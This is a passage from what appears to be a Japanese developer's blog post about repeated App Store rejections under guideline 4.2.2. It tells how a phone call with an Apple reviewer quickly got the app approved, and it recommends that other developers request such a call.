担当者「`4.2.2リジェクト`です。（テンプレで)」

###お気に入り機能追加
担当者「`4.2.2リジェクト`です。（テンプレで)」

###履歴機能追加
担当者「`4.2.2リジェクト`です。（テンプレで)」

orz...

相手も意地になっているようにしか見えず、
アプリバージョンアップで対応するのを諦めました。

#電話で話そうじゃないか


以前リジェクトが通らなくなった際にAppleから電話が来てやり取りしたことを思い出し
こちらから電話の提案をしてみることにしました。

>担当者「`4.2.2リジェクト`です。（テンプレで)」
>私「もう何度もリジェクトされている。
これ以上は実装する内容が思いつかないし、何を直してよいかわからない。
リジェクト理由がわからない。電話で話しさせて」
>担当者「わかりました。3営業日以内で電話します。」
>私「お願いします。」

#決戦の日！国際電話が来る！
2日後の日本時間午前10時24分ごろ着信が！！ついに決戦！

>担当者「Apple審査チームのH（日本語名の日本人でした）です。○○様でよろしいでしょうか？」
>私「はい！〇〇です！」
>Hさん「アプリ見直しました。
機能としては十分でありリジェクトは`誤り`でした。以降`4.2.2リジェクト`されないようにメモしておきます。
もうしばらくお待ちください。」
>私「え？あ。はい。ありがとうございます。」

と2分もしないで会話が終わり、翌日アプリがリリースされました。

#まとめ
リジェクトされたから2週間ほどやりとりしましたが、電話することによってすぐ審査が通りました。

- アップル担当者が意地になっていたのか。
- こいつ毎日審査出してきて面倒だから審査通すか。と思われたのか。

通った理由はわかりませんが電話することによって一発で通りました。
もし`4.2系のリジェクト`で苦戦している方は試して見る価値があります！こちらから電話提案してみましょう！